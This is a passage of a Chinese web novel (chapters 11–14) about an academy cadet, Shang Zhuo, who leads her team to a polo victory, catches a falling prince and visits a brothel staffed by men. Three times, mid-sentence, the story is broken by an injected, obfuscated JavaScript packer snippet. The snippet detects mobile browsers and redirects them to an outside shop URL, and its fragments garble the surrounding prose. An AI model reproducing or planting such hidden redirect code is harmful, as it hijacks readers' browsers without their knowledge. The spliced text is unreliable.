商茁默默地走到了一边,装作不认识这个仿佛吃了“含笑半步癫”的女人。 事实上,在马术这方面天赋过人,并不是商茁的错觉。 在短短练习几天后,商茁便脱颖而出,被傅教官选出作为代表军校参加马球比赛的人选之一,赵国安也一同入选,其他人选则是从其他班上选出。 被选出的这十个人,开始了为期半个月的马术特训。 11. 第 11 章 负责这次马球赛训练的教官姓靳。她和军校里其他教官不同,靳教官天生一双笑眼,而且为人幽默风趣,学生们都很喜欢她。 开始训练的第一天,靳教官看着下面站着的十名学生们,笑得如沐春风。孩子们一个个的跟清早时的太阳一样,朝气蓬勃,带着耀眼的生命力,让人见了就欢喜。 靳教官清了清嗓子,未语先笑,一双笑眼弯成了月牙,“我姓靳,单名一个光字。你们叫我靳教官,或者老靳——”她故意拖长了调子,“都行~” 介绍完自己,靳教官直奔主题,语气激昂地开口:“孩子们,虽然咱们只有半个月的训练时间,但我对你们有信心~大家放平心态,好好训练,然后把冠军锦旗挂到咱们军校的荣誉厅就可以了~大家有没有信心?” “有!” 虽然只有十个人,但是声音却掷地有声、气势磅礴。 靳教官看着斗志昂扬的学生们,眼里满是赞许,“好了,孩子们,我们开始今日的训练!” 靳教官耐心地和学生们讲解着马球的打法和注意事项,确认大家都听明白了,她带领着十个学生来到了一个陌生的跑马场,这里比平日的训练时的跑马场更加宽阔,环境也更加清幽。 刚进入跑马场,商茁的目光就被场地中央站着的十匹骏马给牢牢地吸引住了。只见毛色各异的几匹马儿,个个毛色油光水滑,身形高大壮硕,有着流畅的肌肉线条。 其他学员也被这些俊美健壮的马儿所吸引,一个个看得目不转睛。靳教官看到后,笑眯眯地说:“哈哈,是不是很帅?去选下你们以后一同比肩作战的伙伴儿吧~” 学生们闻言,都撒开腿往马儿那边跑,商茁毫不犹豫地跑到一匹枣红色的马儿身前。马儿额头长着一颗白色的月牙,让商茁一下子想到了童年时期的一个著名人物,她试探地伸手摸了摸马儿的脸颊,马儿温顺地蹭了蹭她的手。 “阿茁,你选好了?” 商茁抬眼望去,看到赵国安牵着一匹黑色的马儿走了过来,“嗯嗯,我就选择‘小兔’了!” 赵国安纳闷儿地问:“‘小兔’?这不是马么?” 商茁咧嘴一笑,“看到它,莫名就想到这个名字~” 在大家都选好马儿后,靳教官开始给大家发放球杖,又从包里掏出一颗如成年人拳头大小的球,有一下没一下地抛着。“你们当中,有人之前打过马球吗?” 两名女生举起了手。 靳教官分别询问了两人有关马球赛的一些问题后,点点头,“不错,现在所有学员分成甲乙两队,你们两个有经验的各负责一队,咱们先来上一场,让我看看各位的能力~” 听到教官的话,商茁心里有些紧张。她之前都没看过马球比赛,而且自己从小运动神经就不发达,很担心自己待会儿会拖后腿。 负责甲队的女生名叫胡燃,气度不凡、长着一双上挑的丹凤眼。她眼神锐利地朝身旁的队友扫视一圈,冷冷地开口:“待会儿比赛开始,你们要认真听从我的指挥,谁要是拖我后腿……”说着,给队友了个威慑的眼神。 听到她的话,商茁微微蹙眉,心里有些反感。队里有个女生更是直接翻了个白眼,讥笑道:“呵~年龄不大,官儿瘾不小!你搞清楚,我们是你的队友,不是你的下属!而且这本来就是场热身赛,输了就输了呗,输场热身赛,难不成还要军法处置?” 眼见几位队友都点头认同,胡燃脸色阴沉地看着队友,眼里满是恼怒。 不远处的靳教官看着这一幕,并未出言调停,只是不动声色地继续观察下去。 双方准备好后,靳教官哨声一响,两队全部队员便策马向中心的小球冲去,争抢第一杆。 赵国安眼疾手快地抢到了头筹,策马赶球向对方球门打去,商茁则是跟在一旁掩护着,帮她阻挡着对方球员抢截。 胡燃策马跟在另一旁着急呼喊:“快把球传给我!” 赵国安置若罔闻,只是专心赶着球往对方球门打去,直到包围她的人越来越多,她朗声唤了声:“阿茁!” 商茁顿时会意,策马上前,接过赵国安传来的球,朝对方的球门奔去,可是身后对方球员已然身至,她用余光扫了眼身旁——并无队友接应。来不及多想,商茁心一横,扭身挥杆,将球朝对方球门打去。 “砰!” 球被对方拦下了。 意识到没进球的商茁立刻策马朝对方赶球的人那里赶去,而看到球落入对方那里的胡燃此刻再也忍不下了,不顾还在比赛,就冲队友骂道:“你们都聋了吗?!我说让把球给我,给我!都听不到吗?!” 赵国安的火气也被激了上来,她正要出言和胡燃理论,就听商茁喊道:“国安姐,球来了!快拦住!” 她顿时收起怒火,策马向对方赶球的队员身边,挥杆抢夺着马球。眼见对方已经带球到了自家球门这里,其他队友也围了上来,纷纷抢截着马球。 而商茁则悄然无声地来到了自己球门旁,以便能及时截住对方打过来的球。 果然,一番争抢中,马球不知被谁一杆朝球门这里打了过来。 而正守在球门旁边的商茁,眼疾手快地挥杆截住了马球。 “嘟!” 就当一群学员正准备再次抢夺马球时,靳教官的哨声响起。 “局歇!” 听到靳教官的话,几人纷纷勒住缰绳,让马停了下来。靳教官示意众人下马来她身边。 几人栓好马后,老老实实地来到靳教官身边。 靳教官挨个朝几人看去,最后目光停在了胡燃的脸上,“这位学员,看起来有话要讲?” 胡燃愤愤不平地指责道:“教官,我要换队!这些人都毫无纪律、不听指挥!根本就不堪为我队友!” 靳教官似笑非笑地看她一眼,对另一队说道:“你们愿意要胡燃这个有着多年马球经验的队友吗?” 负责乙队的连遥用询问的眼神看向队友,确认队友都表示拒绝后,连遥朗声回答:“回禀教官,我们不愿意!” 闻言,胡燃脸色一片铁青,愤怒地粗喘着气。 靳教官看了她一眼,问道:“你可知她们为什么不愿意接收你吗?” 胡燃硬邦邦地回了两字,“不知。” 靳教官示意连遥回答拒绝的原因,连遥想了想,一脸认真地说:“我们这一队相处都挺好的,经过刚才一局,大家都已有默契了,如果接收了胡学员,那我们队就要有一人换到乙队。不管被换走的人是谁,我们都不想抛弃队友。” 靳教官满意地点点头,意味深长地看着胡燃,“现在懂了吗?比赛不是一人的赛场,而是全队的配合。想要赢得比赛,就不能惦记着个人的风头,而要牢记你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937328|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有人是一体的,一荣俱荣、一损俱损。” 明白了靳教官的用意后,胡燃羞愧地低下了头。 靳教官将目光转向了商茁,轻笑着问道:“孩子,你之前真的没有打过马球吗?” 商茁摇摇头,“这是第一次。” 靳教官的目光愈发温和,“你很不错,既知道配合队友,又懂得观察局势,随机应变。不错,脑子活络,是个当指挥的料~” 商茁被靳教官突如其来的表扬,给夸成了大红脸。从小到大,她成长的环境里,否定和打压居多,很少会有人这么直白地肯定她,所以,相比胡燃一心想当“舞台的中心位”,商茁更习惯当默默鼓掌的观众。 “之后就由你来负责指挥甲队。” 靳教官一锤定音,将指挥这一任务指派给了商茁。随后,靳教官仿佛想起来什么,朝商茁问道:“对了,胡燃,你们队还要不?” 胡燃双手握拳紧攥,指节发白。她不敢抬眼看向队友,生怕再次听到拒绝。 商茁朝队友们看了一圈,发现没有队友表示拒绝,于是开口道:“回禀教官,我们愿意接收胡燃学员。相信经过上一局的磨合,接下来,我们的相处会越来越融洽的。” 闻言,胡燃心底暗自松了口气,她下意识地朝商茁看去。却不料对方也正巧抬眼望来——四目相对时,对方脸上是毫无芥蒂的笑容。胡燃一怔,有些不自在地别开视线,嘴角却不由自主地上扬,弯起一个微小的弧度。 靳教官笑眯眯地看着这群刚才还火冒三丈,现在又冰释前嫌的“小孩儿们”,不禁在心底感叹道:“年轻真好啊……” 新一局开始前,商茁把自己的战略讲给队友们听,“国安姐负责前锋、呃,抢头筹,专注射门,胡燃负责拦截护球、中场争球,齐骥和我负责衔接攻防、传球,楚子恒负责守门,阻止对方进球……” 看几人都没意见,商茁便拍板决定了,“目前就先这样练习,之后有什么问题,大家及时反馈,咱们再一起商讨、改进。” 之后的一局,在商茁指挥下,大家都全神贯注地投入到了比赛中,经过不断地磨合,甲队的配合也越来越默契,直到训练结束,甲队以5:2的成绩,赢得了乙队。 听到靳教官宣布成绩时,甲队的队友都兴奋地欢呼,她们合力将商茁围了起来,然后将她高高抛起,又牢牢接住。 商茁本来并没有为赢下一场练习赛感到激动,可是这群明媚张扬的女孩子朝她围了过来,她们脸上洋溢的欢笑和兴奋,感染了商茁,把她的心也拉入了欢喜之中。 就这样,在一场场练习赛中,大家配合得越来越默契。靳教官又把甲乙二队拆分重新组合,一遍遍地练习,一遍遍地重组,直至十个人完全默契,融成了一个整体。 靳教官特意喊来了往年马球比赛胜利队伍的学员,陪着商茁她们十个人打了场训练赛。看着商茁她们和老学员们打得有来有回,十个人之间的默契宛如铁桶一般,靳教官便知道了——这个队伍已经练成了。 转眼间,半个月已经过去,时间来到了军文两校的马球比赛这天。 商茁换上了军校统一发放的窄袖圆领袍、抹额和一双长筒皮靴,看着镜子中那个一身红袍、英姿飒爽的自己,商茁简直差点认不出来。 “哇!商茁,你这身绝了!出去不知要迷倒多少无知少男!” 12. 第 12 章 “我要是男人一准儿被商茁迷住!” “这一身真帅!看得我都想买身红袍穿穿了~” 几个舍友围着商茁七嘴八舌地夸着,商茁努力按捺住自己疯狂上扬的嘴角,但心里已经美得冒泡了。直到看到赵国安换好衣服,商茁眼睛亮了起来,“哇塞!小姐姐,好飒!” 赵国安本来就是端正的长相,换上红色的袍子后显得整个人更加端庄稳重,有种武官特有的可靠感。 宿舍几人听到商茁的话后,朝赵国安望去,纷纷送上了自己的夸赞。赵国安听到大家的赞扬,咧着嘴,露出一口大白牙,朝舍友们拱拱手,“多谢姐妹们的捧场~” 商茁两人换好衣物准备去和其他队友集合时,几个队友站在门口纷纷为她们鼓气,“国安、商茁,你们俩好好打!把文院那群书呆子给打趴下!”、“就是就是!军校必胜!”、“我们会去现场给你们呐喊喝彩的!” 两人笑着和舍友挥手道别。 到了赛场,商茁环顾着四周,心下有些惊愕,觉得这个赛场差不多有她们市区体育馆三个那么大了!赛场四周的看台上密密麻麻的全是观众席,已经有不少观众已经入座了。 商茁咽了咽口水,她长这么大还没有参加过这么盛大的比赛呢……别说比了,她都没到过这么大的赛场!商茁偷偷在袍子下摆上擦了擦手心里的汗,调整呼吸,努力让自己放松下来。 突然,一个热乎乎的大手握住了她的手掌,商茁扭头看去——赵国安眉眼弯弯,目光温和地鼓励道:“别怕,咱们一定会赢的!阿茁你尽管指挥,大家都会听从指挥的,我待会儿一定抢下头筹……” 听着赵国安絮絮叨叨地安慰,商茁原本紧张的心情突然放松下来。她不是一个人在战斗,她身边有国安姐、有一起训练这么久的小伙伴们,大家配合默契,团结一心,一定会赢的! “咚!咚!咚!” 随着如打雷般的击鼓声,军文两校的马球比赛正式拉开帷幕。 军校和文院负责参加比赛的学生和马匹分别被带到了红蓝两个棚子前。都部署检查过两校学生人数、装备、马匹状态没有问题后,让两队在场地边缘热热身。 笛声起,弦音紧随。一群宫廷乐师演奏起了《破阵乐》,在激昂铿锵的乐曲中,军校、文院两队学生策马进入赛场。 军校十人全部身着红色窄袖衣袍,象征着武官的忠肝义胆,不畏流血牺牲;而文院十人则是身穿蓝色窄袖衣袍,象征着文官清流气节,不为俗事折腰。 双方简单地向对方行过礼后,都蓄势待发地盯着赛场中央的马球,只待都部署一声令下,便奋勇抢夺头筹。 军校十人牢记赛前商茁分配的任务。鼓声一响,赵国安和胡燃挥舞着月杖奋力争抢着头筹,文院的队员也不甘示弱,几人努力地将马球往自己方向拨打着。 最终还是赵国安更胜一筹,一杆将球传给了队友,连遥接到球后也是当机立断将球往对方球门那边打去,就在大家都以为球会顺利到达对方球门时,文院中一位面如冠玉的女子一杆拦下了球,就在众人以为军校这遭进球无望时,另一个月杆落下,强势地将球抢了回来,用力一击——球进了! “咚!”鼓声响起,卫兵高声宣唱:“军校队得一筹!” “哦哦!军校队必胜!”、“商茁太帅了!”、“干翻文院!” 军校前来观赛的学生们在看台奋力嘶吼着,为自己学校的队伍呐喊助威。 文院的学生们此刻也不顾及文臣风范了,一个个也是卖力呐喊着为文院的队友助威鼓劲。“文院队得胜!”、“云煜师姐无敌!”、“把军校干趴下!” 看台上的官员家属区域,云雾死死地盯着赛场上那道红色身影,看到商茁进球后露出开心的笑容后,云雾也是心情激动地想为自己的心上人挥帕支持,可是看到商茁身后站着的自家长姐,他又讷讷地收回手。 可他一旁的户部尚书家的公子就没有那么多顾忌了,他热烈地向军校队那边挥帕欢呼,罢了还向一旁的好友打听道:“刚才进球的那个女郎叫什么?太帅了!她挥杆的时候简直太迷人了~” 可他的好友却是文院队的支持者,又或者说是云熠的支持者。柳雀愤愤地看着赛场,本来熠姐姐已经拦下马球了,但那个叫商茁的女人竟然蛮横地抢走了熠姐姐的马球!此刻好友还一脸痴迷地对商茁再三夸奖…… 柳雀忍不下去了,“杨鹭你眼睛没事吧?!那个商茁有什么好的!她哪里帅了?明明是她不择手段抢走了熠姐姐的马球……” 他叽里呱啦讲了一大串,杨鹭只听到了一句,“那个商茁!”。得知女郎名字后,杨鹭害羞地捧着自己的脸,目光炽热地追随着赛场上的商茁身影,对好友的抱怨充耳未闻。 柳雀见好友一副油盐不进的样子,气得头冒白烟儿,他拉着一旁的云雾过来评理,“云三公子,你来评评理!这个傻小子竟然觉得抢熠姐姐球的莽女帅气!你说他是不是被猪油蒙了心?!” 云雾看着眼前两个蠢货,一口银牙都快咬碎了,但面上还得保持端庄。一个觊觎他的心上人,一个肖想他长姐,还敢让他来评理!? 眼看柳雀还在等他给个说法,云雾既不想昧着良心贬低自己的心上人,又不想背叛长姐。无奈之下,他只好故作淡然地说:“比赛未到最后,鹿死谁手还不一定……”说着,摆摆手,“柳公子,你挡着我看比赛了。” 没听到云雾和他一起维护熠姐姐,斥责商茁,柳雀有些不高兴,但听到云雾提起比赛,他忙收了收神,朝台下看去,他不想错过熠姐姐的半点风采! 台下的比赛如火如荼地进行着,军校、文院双方的比分咬的很紧。在马蹄飞溅起的尘土中,两队挥动着月杖抢夺着马球,谁也不肯退让。到了决定胜负的一球时,双方已经打红了眼,谁也不肯输了比赛。 争抢中,马球到了商茁这里,她立即策马驱球奔向对方球门,一旁的队友来回和她交接着马球。 直到文院的队员攻势越来越密集,而且几个商茁和几个队友也被冲散开来。 “砰” 马球再次传到了商茁这里,她用余光看了下身旁,她的两侧都是文院队员,赵国安在左前方,胡燃和她之间隔着一个文院球员。 商茁在脑中飞快地思考着:自己冲破包围进球的概率有多大,两名队友哪个更能成功进球…… 赛场如战场,商茁根本没有时间想出万全之策。眼看文院队已经挥着月杆抢夺马球了,千钧一发之际,商茁呼唤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937329|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队友:“胡燃!一!” 右侧的胡燃大喊:“在!” 在所有人注意力被胡燃吸引时,商茁迅速将球传给了赵国安,然后连同胡燃一起拦截文院球员,为赵国安争取进球时间。 “砰!” 随着赵国安破釜沉舟一击,马球顺利飞向文院球门。 “咚,军校得一筹!” “比赛结束,比分五比四,军校队,最终获胜!”礼官朗声宣布着比赛结果。 “哦哦哦!我们赢了!”军校的几个女孩子骑马围在赵国安身旁,欢呼着,庆祝着属于她们的胜利。 高台上的皇帝,看着这群热血飞扬的年轻人,内心也是十分欣慰,让皇帝好奇的是,军校队那个负责指挥的女孩子,明明有机会自己打下最后一球,可她偏偏把球传给了队友,由队员打下关键的一球,享受万众瞩目。 待到军校几人上前领奖时,皇帝示意商茁上前,众人皆是一头雾水。只听皇帝温和地朝商茁问道:“小同学,我观最后一球时,你是可以自己进球的,为何又把进球的机会让给队友了?” 商茁规规矩矩地向皇帝行了一礼,老实地将自己内心的想法全盘脱出,“回禀陛下,当时的局面,不容学生多想,学生只是按照内心的判断——把球传给了最能进球的人。” 皇帝笑眯眯地说:“那你就没想过你自己其实也是可以进球的?观众只会记得最后进球的人,你把球让出去了,也等于说把扬名的机会给了别人……” 商茁不卑不亢地回道:“赛场如战场,学生只考虑怎么赢下比赛,为曾想过该由谁赢得比赛。” 皇帝却不依不饶地追问:“许多将士都投身沙场,但最后只有一个人能当将军~你若是辛辛苦苦地奋勇杀敌,可最后的荣光都归功于她人,你难道不会心生怨言吗?” 在场的众人都收起了笑容,不明白皇帝为何对一个刚赢得比赛的学生咄咄逼人。 商茁一脸坦然:“我不会!靳教官曾说过,‘我们是一体的,一荣俱荣、一损俱损。’我们是一个集体,国安姐赢得比赛,就是我赢得比赛,就是队伍中的每一个人赢得了比赛。” “在战场是也是如此,将士们都是大朝的士兵,不管是谁当上了将军,只要赢的一方是大朝就可以。用一人的荣光,换来大朝的胜利,我觉得——值!” 商茁的一番肺腑之言,在场众人无不为之动容。皇帝大笑着拍手,“好一个值!英雌出少年啊!” 皇帝看向一旁的军校校长,赞叹道:“裴爱卿,你们军校为朕为大朝,培养出了国之栋梁啊!” 裴展图目露赞许地看了商茁一眼,向皇帝鞠躬行礼,“陛下治国有方,孩子们都是天性赤诚的好孩子,臣只是遵从陛下旨意,尽绵薄之力。” 皇帝笑着摇头,“你啊你,还是和以往一样,半点都不肯居功。罢了,就将奖赏全部赐给这些未来的栋梁之材吧!” “来人!赏本次军校队所有人二两黄金、绸缎十匹、良马每人一匹……” 得了奖赏的几人兴高采烈地往台下走去。商茁走在最后,正回想着皇帝的一言一语,忽听身侧传来一道急促的嘤咛。 “啊!” 一道黑影落下,她下意识伸手接住。 13. 第 13 章 谢滴星原本只是想走近些看看自己救过的女郎,可是没成想脚底一滑,竟从看台上摔了下去!他的心瞬间提到了嗓子眼儿,在众人面前跌落看台,岂止是他自己的颜面,整个皇室的颜面恐怕都要被他丟尽了! 谁知,竟落入了一个温暖的怀抱。 商茁低头看向怀中人儿,哪怕是闭着眼睛,也能看出对方容颜精致、骨相优越。瓷白的肌肤细腻到看不出毛孔,眉弓立体、眼窝深邃,两排纤长浓密的眼睫如蝶翼般轻颤着,格外引人垂怜,嫣红丰润的唇瓣此刻被主人微微抿起,仿佛有什么愁绪。 虽是初见,商茁却莫名觉得有些熟悉。她凝眸看着对方,淡雅清新的茶香味在两人中间氤氲着,如雨后的茶园空气那般清新,但却又带着一丝若有若无的甘甜。 对了!是茶香味儿! 当初救下商茁的那人身上就是这个味道,商茁饿晕在森林里时,一开始她并没有失去意识,直到好闻的茶香味萦绕在了她的身边,她的意识才逐渐陷入混沌。 看到已经有人注意到她们这边动静了,商茁声音带着笑意,调侃道:“这位公子,难不成是比赛时间太久,饿晕了?刚好在下知道有间医馆,治疗饿晕的病人颇有经验……” 听到商茁的话,谢滴星猛地睁开了双眼,他努力地在想有什么合理的说辞,不会让自己有辱皇家颜面。意识到自己还躺在女郎的怀中,谢滴星仓皇起身,垂眸对商茁道谢:“多、多谢女郎出手相助,我、我刚才……” 没等他想好借口,商茁就已非常体贴地给他送上了台梯,“今日日头大好,公子被阳光晃了眼,不小心跌落看台,实属正常情况。还望公子日后多加小心。” 这时,一个小厮急慌慌地跑了过来,看到谢滴星后,担心地问:“王子,您没事吧?” 听到小厮称呼眼前的小男郎为王子,商茁惊讶地看了眼对面男郎,她有些不解,堂堂王子为什么会去一个鸟不拉屎的森林里? 虽满心疑惑,但商茁面上不显,规规矩矩地给谢滴星行了个礼,“刚才不知王子身份未给殿下行礼,还请殿下恕罪。” 谢滴星下意识地想要伸手扶起商茁,但突然想到这是在马球大赛,不是自己的府上,他得维持好王子的风范。于是,他摆了摆手,轻声道:“无碍,女郎免礼。” 另一处看台上,云雾看着商茁和谢滴星两人不知说了些什么,商茁眼含笑意,而谢滴星虽然垂着头,但耳朵却红得仿佛要滴血一般。他瞪了眼谢滴星,恨恨地扯着手中的帕子,他就知道商茁这么好,二王子这个骚狐狸是不会放过的!也只有他敢在大庭广众之下往女人的怀里扑了! 论美貌,云雾觉得自己已经非常出众了,但奈何谢滴星长了张狐狸精脸,相比端庄的大家公子,女人们还是更喜欢这种骚狐狸!要不是众目睽睽之下,尤其是商茁还在,云雾都想上前把谢滴星那张狐狸脸给抓花!反正他又不是陛下的亲弟弟! 就在云雾在暗戳戳地想着该怎么报复谢滴星时,商茁已经行礼告退,走到了等待她的队友身边。 “商茁,你她爹的可以啊!这才多大一会儿功夫,连王子都勾搭上了~”齐骥坏笑着调侃道。 其他几个队友也都不带恶意地看着商茁坏笑。 商茁无奈解释道:“二王子刚才被日头晃了眼,没站稳摔了下来,我刚好路过顺手扶了把,也没干什么……我们俩清清白白的!” 胡燃打趣道:“我们路过时日头都不晃眼,你一路过,二王子就直接摔了下来,莫非你是日头?” “哈哈哈哈哈……笑死我了。”队友们闻言一片痴笑。 商茁有些无奈地开口:“你们这群促狭鬼,打趣我归打趣我,别扯上人家二王子,男孩子家都看重名声,这话传出去,让人家二王子该如何自处?” 一向闷不做声的楚子恒突然来了句。“那你索性就娶了他呗~二皇子长相也不差。” “子恒,你……我一直觉得你和我一样,是个老实人来着。”商茁捂着心口,装作一副不敢置信、受伤的表情。 连遥一把揽住商茁的肩膀,笑骂道:“哈哈哈,别装了!子恒还能算半个老实人,你这厮,绝对不老实!” “喂!”商茁非常郁闷,她一直觉得自己是个老实人来着。 胡燃十分豪气地摆摆手,“行了,大家伙儿回去洗个澡,换身衣服,咱们春风楼见!今晚我做东,咱们不醉不归!” “哦~燃姐大气!” “吃大户了~” “回家洗澡去了~” “春风楼是哪儿?”商茁一脸迷茫地向身旁的赵国安问道。 身为商茁的百事通,赵国安第一次卡壳,“呃……酒楼?我也没去过这里。” 胡燃一脸不忍直视地扶额叹息,“两个小可怜儿,今晚就带你们长长见识~”说着,胡燃坏笑着冲两人挑挑眉。 赵国安、商茁姐妹俩面面相觑,仍是一头雾水。 一行人一路说笑打闹着离开了看台,独留看台上一群怀春少男们痴痴地看着肆意张扬的女郎们的背影,在心里偷偷记录着不可说的少男心事。 夜幕降临,华灯初上。 “两位女郎,春风楼到了~”胡燃派来接送商茁和赵国安的车妇毕恭毕敬地对车厢内说道。 商茁刚走出车厢,写着“春风楼”三个字的牌匾便映入眼帘。门口站着两三个身着薄纱,衣着暴露的年轻男人,正甩着帕子招呼客人。 后面的赵国安看着商茁站在车厢外一动不动,催促道:“阿茁,你站门口我没法儿下去啊!” “不好意思不好意思,我刚才没反应过来。”回过神的商茁连忙下车,赵国安也紧跟其后走了下来。“咋啦?” 商茁又瞅了眼春风楼的门口,蹙眉问道:“国安姐,我们是不是来错地方了?” 车妇听到商茁的话,连忙回答:“二位女郎放心,就是这里!我家女君就在里面等着二位呢!我送我们家女君来过好多次了,不可能走错……” 赵国安也看到了门口的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938850|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个男人,摸着下巴疑声说:“这怎么看起来不像酒楼啊,反倒是像伎院……” 车妇嘿嘿笑了两声,向商茁二人递来了个“女人都懂”的眼神,“伎院也可以吃饭嘛~而且吃完饭还可以干些其他的……嘿嘿嘿~” “国安,阿茁~你们在下面干嘛呢?还不快上来!就差你们俩了!” 商茁朝声音的方向抬头望去,只见胡燃正从二楼的一扇窗子里探头看着她们。 来都来了,商茁无奈只好和赵国安一起进去。刚走到门口,几个招客的几个男人便迎了上来。 “二位女郎快快请进~” “二位女郎,是第一次来咱们春风楼吗?之前没有见过二位呢~” “女郎可有中意的?不知我可能入女郎的眼~” 这还没进去呢,商茁就觉得自己好像进到了盘丝洞,这群公蜘蛛精吐得不是蜘蛛丝,而是强力胶!一个个得好像是粘身上了,怎么也撕不掉。要不是怕弄伤他们,商茁一只手都能把他们扔一边! 拉扯中,商茁感觉自己的胳膊好像碰到了一粒软软的红豆。 “啊~” 一个穿着碧绿色纱衣的男人捂着胸口,眼波流转地嗔怒道:“女郎~您弄疼人家了~” 商茁顿住,机械地低头看了眼他捂住的地方,又看了看自己的胳膊,意识到自己碰到了哪里,商茁全身的汗毛瞬间立起来了。 眼见男人一副眉目含情,欲说还休的样子。商茁担心再掰扯下去,到明天早上都和胡燃她们碰不到面。顾不上女郎风度了,商茁强硬地把男人拨到一边,拉上赵国安飞快地往楼上跑去,仿佛后面有疯狗追着她们一样。 进到胡燃订好的房间里,商茁这才松了一口气。 “俺滴娘啊!这些男的怎么一个个跟发春了的公狗一样,太可怕了!”赵国安擦了擦额头上的虚汗,一脸心有余悸。 “哈哈哈哈……”胡燃趴在桌子上笑得直不起腰。 齐骥一口茶水喷了出来。剩下几人也是笑得东倒西歪。 赵国安看着跟被人点了笑穴一样的队友们,纳闷地对商茁问道:“大家今天都怎么了?一个个都不正常……” 商茁没有说话,刚才的刺激太大了,她的大脑还在重启中,光是想起刚才的触感,商茁的头发就要竖起来了。 胡燃终于笑够了,撑着下巴对赵国安说:“咳咳,我都快被你俩给笑死了,你都来逛伎院了,还不准人家伎子热情点~” 赵国安炸毛道:“谁逛伎院了?!我们是来吃饭的!” “噗!哈哈哈哈哈……” 此言一出,刚才好不容易止住笑声的众人,又开始狂笑起来。 赵国安看着笑得停不下来的朋友们,苦恼地挠了挠头,向身旁的商茁确认,“我们是来这里开庆功宴的吧?我没记错吧?” 这时,商茁的大脑终于重启成功,她拉着赵国安找了个位置坐下,嘴角噙着抹坏笑,“没事,让她们笑吧~笑饱了,好酒好菜都是咱们的了~” 14. 第 14 章 “女君们好~” 男伎们走进屋内后,齐刷刷地向在座的女人们跪拜行礼。胡燃扬扬下巴,“起来吧~都使出你们看家的本领,把在座的女君给我伺候好。” “女君,若柳最近新学了一支琵琶舞,我跳给各位女君看,可好~”长着小鹿眼的男伎自告奋勇地说。 胡燃可有可无地应了声,“去吧。” 得了准许后,男人们卖力地表演着。扶风跪坐一旁,纤细白皙的手指在琴弦上轻轻一抚,清越的琴声顺着他的指尖流淌了出来;若柳也不甘示弱,小腰一扭,来了个反弹琵琶,边弹边跳;其余几人,有人随着琴声吟唱,有人为若柳伴舞……场面可谓十分热闹。 商茁一瞬间突然觉得自己像是一个参加歌舞汇演的领导,台上的人兢兢业业地唱跳着,她则优哉游哉地品尝着美食,顺带再点评下台上人的表演。 跟商茁的边吃边看不同,赵国安则是一头扎进了美食里,半个眼神都没给过台上的男伎们。她原本以为这里的饭菜不会太好吃,结果尝了一口后,差点被鲜掉眉毛。之后赵国安便开启了“无影手”,筷子夹到飞起,遇到特别好吃的,还会给商茁分享。 酒过三巡,除了赵国安,桌上几人都放下了筷子。连遥、吕宗耀、楚子恒三人低声讨论着马球比赛上的细节,齐骥和冯晚岳、高袁毅、周渡四人则是颇有兴致地看着台上的表演,时不时地点评下正在表演的男人,哪个腰更细,哪个腿更长。 看到姐妹们都来了兴致,作为东道主的胡燃,大手一挥,阔气地说:“姐妹们,有看得上的随便挑,我请客~” 闻言,齐骥吹了个口哨,“燃姐够意思!那我就不客气了,我要左边穿紫裙子的那个~” 胡燃挑了挑眉,有些意外,“我还以为你会从若柳和扶风二人里选……” 齐骥咧嘴一笑,“那是你们不懂~这种圆润白嫩的,才‘好吃’,跟个汤圆儿一样,软软糯糯的……嘿嘿嘿……” 胡燃嫌弃地转过头去,不想看笑得一脸猥琐的好友。在齐骥期待的目光中,胡燃向台上的男伎们招招手,示意他们过来伺候众人。 其他人都笑纳了上前侍奉的小美人儿,只有商茁和赵国安身边空荡荡的。商茁属实被门口那幕给吓到了,对来她身边伺候的男伎通通敬谢不敏,赵国安则是嫌弃男伎们影响她吃饭的速度,把往她身边靠的男伎都给推一边去了。 胡燃走到商茁身边,轻笑着问道:“没有合眼缘的?我再命人叫几个过来……” 商茁连忙阻止,“别别别!阿燃,我知道你是好意,但我真心接受不了这些人。” 胡燃疑惑地挑眉,“为何?” 商茁咬咬牙,将自己的心底话说了出来,“不怕你笑话,我觉得我玩儿这些人,吃亏的是我!” 胡燃拧着眉,脸上满是错愕,要不是好友当着她的面儿说的,她都以为自己听错了,女人怕被男人占便宜?她这辈子都没听过这么荒谬的言论,“你要不要听听你在说什么?” 商茁一副死猪不怕开水烫的样子,“我还是一张干干净净的白纸,这些人恐怕早就是印满文字的邸报了!我跟他们玩儿,我多亏啊我!别人我不管,但是我这张‘白纸’只跟‘白纸’玩儿!” 